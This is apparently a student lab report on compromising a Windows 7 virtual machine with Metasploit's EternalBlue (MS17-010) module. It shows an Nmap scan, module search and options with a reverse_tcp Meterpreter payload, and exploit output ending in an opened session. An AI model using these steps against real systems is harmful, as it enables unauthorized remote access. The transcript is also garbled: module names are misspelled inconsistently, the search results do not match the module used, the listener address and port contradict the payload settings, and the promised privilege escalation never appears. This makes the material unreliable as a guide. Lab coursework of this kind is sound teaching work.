



Somaiya Vidyavihar University
K. J. Somaiya College of Engineering
Department of Computer Engineering

Batch: B1 Roll No.: 16010121045

Experiment No. 7

Title: Windows and Linux Privilege Escalation using Metasploit

Objective:

Windows and Linux Privilege Escalation using Metasploit

CO	Outcome
CO3	Comprehend post exploitation phase of penetration testing.

Books/ Journals/ Websites referred:

1. <https://www.metasploit.com/>
2. <https://github.com/rapid7/metasploit-framework>



Somaiya Vidyavihar University
K. J. Somaiya College of Engineering
Department of Computer Engineering

Introduction:

Metasploit:



The Metasploit framework is a versatile tool that can be used by both ethical hackers and cybercriminals to identify vulnerabilities in networks and servers. As an open-source framework, it can be customized and used with various operating systems. By using ready-made or customized code, the pen testing team can probe a network for weaknesses and document the flaws found. This information can be used to prioritize solutions and address systemic weaknesses. The framework includes approximately 500 payloads, such as command shell payloads for running scripts or random commands, dynamic payloads to evade antivirus software, Meterpreter payloads for taking over sessions or uploading and downloading files, and static payloads for enabling port forwarding and communications between networks.

Eternal Blue:

The Eternal Blue exploit works by taking advantage of SMBv1 vulnerabilities present in older versions of Microsoft operating systems. SMBv1 was first developed in early 1983 as a network communication protocol to enable shared access to files, printers, and ports. It was essentially a way for Windows machines to talk to one another and other devices for remote services. The exploit makes use of the way Microsoft Windows handles, or rather mishandles, specially crafted packets from malicious attackers. All the attacker needs to do is send a maliciously-crafted packet to the target server, and, boom, the malware propagates and a cyberattack ensues. EternalBlue's Common Vulnerabilities and Exposures number is logged in the National Vulnerability Database as CVE-2017- 0144



Somaiya Vidyavihar University
K. J. Somaiya College of Engineering
Department of Computer Engineering

Implementation details:

Running Nmap scan

```
kali㉿kali: ~
File Actions Edit View Help
kali㉿kali: ~ kali㉿kali: ~ kali㉿kali: ~ kali㉿kali: ~
49157/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:DD:61:5D (Oracle VirtualBox virtual NIC)
Service Info: Host: DUMBLEDORE-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| nbstat: NetBIOS name: DUMBLEDORE-PC, NetBIOS user: <unknown>, NetBIOS MAC: 080027dd615d (Oracle VirtualBox virtual NIC)
| smb-os-discovery:
|   OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: Dumbledore-PC
|   NetBIOS computer name: DUMBLEDORE-PC\x00
|   Workgroup: WORKGROUP\x00
|   System time: 2023-04-18T22:11:04+05:30
|   smb-security-mode:
|     account_used: guest
|     authentication_level: user
|     challenge_response: supported
|     message_signing: disabled (dangerous, but default)
|   smb-timestamps:
|     date: 2023-04-18T16:11:04
|     start_date: 2023-04-17T16:48:15
|     clock-skew: mean: -1h50m00s, deviation: 3h10m30s, median: -1s
|   smb2-security-mode:
|     210:
|       Message signing enabled but not required
|
| Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.27 seconds
(kali㉿kali): ~
```

Starting Metasploit

```
(kali㉿kali): ~
$ msfconsole
[Metasploit]
msf6 >
```

Searching for a vulnerability

```
msf6 > search netapi
Matching Modules
=====
#  Name                               Disclosure Date  Rank    Check  Description
-  exploit/windows/smb/ms03_049_netapi  2003-11-11    good   No    MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow
1  exploit/windows/smb/ms06_040_netapi  2006-08-08    good   No    MS06-040 Microsoft Server Service NetwPathCanonicalize Overflow
2  exploit/windows/smb/ms06_070_wkssvc  2006-11-14    manual  No    MS06-070 Microsoft Workstation Service NetwManageIPCConnect Overflow
3  exploit/windows/smb/ms08_067_netapi  2008-10-28    great  Yes   MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example info 3, use 3 or use exploit/windows/smb/ms08_067_netapi
```

We see the options of the exploit payload

```
msf6 exploit(exploit/windows/smb/ms07_010_etrernalblue) > show options
Module options (exploit/windows/smb/ms07_010_etrernalblue):
Name          Current Setting  Required  Description
RHOSTS        yes            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         445           yes       The target port (TCP)
SMBDomain     no             no        (Optional) The windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass      no             no        (Optional) The password for the specified username
SMBUser      no             no        The username to authenticate as
VERIFY_ARCH  true           yes      Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERBOSE      TARGET          yes      Check if remote machine uses exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):
Name          Current Setting  Required  Description
EXITFUNC      thread          yes      Exit technique (Accepted: '', seh, thread, process, none)
LHOST         10.0.2.15       yes      The listen address (an interface may be specified)
LPORT         4444           yes      The listen port

Exploit target:
Id  Name
-  Automatic Target

View the full module info with the info, or info -d command.
```



Somaiya Vidyavihar University
K. J. Somaiya College of Engineering
Department of Computer Engineering

Exploiting the machine

```
msf6 exploit(windows/smb/ms17_010_ternalblue) > exploit

[*] Started reverse TCP handler on 192.168.56.101:445
[*] 192.168.56.103:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.56.103:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.56.103:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.56.103:445 - The target is vulnerable.
[*] 192.168.56.103:445 - Connecting to target for exploitation.
[+] 192.168.56.103:445 - Connection established for exploitation.
[+] 192.168.56.103:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.56.103:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.56.103:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.56.103:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 192.168.56.103:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 192.168.56.103:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.56.103:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.56.103:445 - Sending all but last fragment of exploit packet
[*] 192.168.56.103:445 - Starting non-paged pool grooming
[+] 192.168.56.103:445 - Sending SMBv2 buffers
[+] 192.168.56.103:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.56.103:445 - Sending final SMBv2 buffers.
[*] 192.168.56.103:445 - Sending last fragment of exploit packet!
[*] 192.168.56.103:445 - Receiving response from exploit packet
[+] 192.168.56.103:445 - ETERNALBLUE overwrite completed successfully (0xC00000D)!!!
[*] 192.168.56.103:445 - Sending egg to corrupted connection.
[*] 192.168.56.103:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.56.103
[*] Meterpreter session 1 opened (192.168.56.101:445 → 192.168.56.103:49159) at 2023-03-25 02:55:27 -0400
[+] 192.168.56.103:445 - -----
[+] 192.168.56.103:445 - -----WIN-----
[+] 192.168.56.103:445 - -----
```

Conclusion:

Successfully exploited and gained access to Windows 7 machine from our Kali machine using Metasploit framework.